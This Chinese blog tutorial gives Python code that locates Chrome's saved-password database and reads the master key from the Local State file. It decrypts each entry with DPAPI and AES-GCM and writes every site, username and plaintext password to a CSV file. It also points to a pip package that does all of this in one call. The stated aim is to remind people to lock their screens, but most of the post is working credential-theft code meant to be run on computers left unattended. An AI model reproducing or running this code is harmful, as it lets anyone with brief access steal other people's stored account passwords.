Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
python操作日期和时间的方法
Mar 11 Python
详解详解Python中writelines()方法的使用
May 25 Python
简单理解Python中的装饰器
Jul 31 Python
Python多线程扫描端口代码示例
Feb 09 Python
python 不同方式读取文件速度不同的实例
Nov 09 Python
python生成每日报表数据(Excel)并邮件发送的实例
Feb 03 Python
使用Python对Dicom文件进行读取与写入的实现
Apr 20 Python
完美解决python针对hdfs上传和下载的问题
Jun 05 Python
Virtualenv 搭建 Py项目运行环境的教程详解
Jun 22 Python
python list的index()和find()的实现
Nov 16 Python
python3.7中安装paddleocr及paddlepaddle包的多种方法
Nov 27 Python
Python机器学习算法之决策树算法的实现与优缺点
May 13 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
PHP5新特性: 更加面向对象化的PHP
2006/11/18 PHP
Smarty模板变量与调节器实例详解
2019/07/20 PHP
php设计模式之原型模式分析【星际争霸游戏案例】
2020/03/23 PHP
jQuery ajax cache缓存问题
2010/07/01 Javascript
jquery中eq和get的区别与使用方法
2011/04/14 Javascript
js中function()使用方法
2013/12/24 Javascript
jquery表单验证框架提供的身份证验证方法(示例代码)
2013/12/27 Javascript
javascript实现设置、获取和删除Cookie的方法
2015/06/01 Javascript
jquery实现叠层3D文字特效代码分享
2015/08/21 Javascript
Angularjs实现带查找筛选功能的select下拉框示例代码
2016/10/04 Javascript
jQuery 实现ajax传入参数含有特殊字符的方法总结
2016/10/17 Javascript
微信小程序滚动Tab实现左右可滑动切换
2017/08/17 Javascript
vue-cli项目中怎么使用mock数据
2017/09/27 Javascript
在 React、Vue项目中使用SVG的方法
2018/02/09 Javascript
Jquery和CSS实现选择框重置按钮功能
2018/11/08 jQuery
python使用正则搜索字符串或文件中的浮点数代码实例
2014/07/11 Python
Python实现的数据结构与算法之基本搜索详解
2015/04/22 Python
Python按行读取文件的实现方法【小文件和大文件读取】
2016/09/19 Python
python实现黑客字幕雨效果
2018/06/21 Python
Python 读取某个目录下所有的文件实例
2018/06/23 Python
通过pycharm使用git的步骤(图文详解)
2019/06/13 Python
pandas分区间,算频率的实例
2019/07/04 Python
pygame实现俄罗斯方块游戏(基础篇2)
2019/10/29 Python
python基于event实现线程间通信控制
2020/01/13 Python
Tensorflow累加的实现案例
2020/02/05 Python
Python如何转换字符串大小写
2020/06/04 Python
如何使用python-opencv批量生成带噪点噪线的数字验证码
2020/12/21 Python
CSS3.0实现霓虹灯按钮动画特效的示例代码
2021/01/12 HTML / CSS
Microsoft新加坡官方网站:购买微软最新软件和技术产品
2016/10/28 全球购物
凯特王妃父母建立的派对用品网站:Party Pieces
2017/05/28 全球购物
称象教学反思
2014/02/03 职场文书
优秀教师的感人事迹
2014/02/04 职场文书
演讲稿的写法
2014/05/19 职场文书
努力学习保证书
2015/02/26 职场文书
2015年法律事务部工作总结
2015/07/27 职场文书
Sql-Server数据库单表查询 4.3实验课
2021/04/05 SQL Server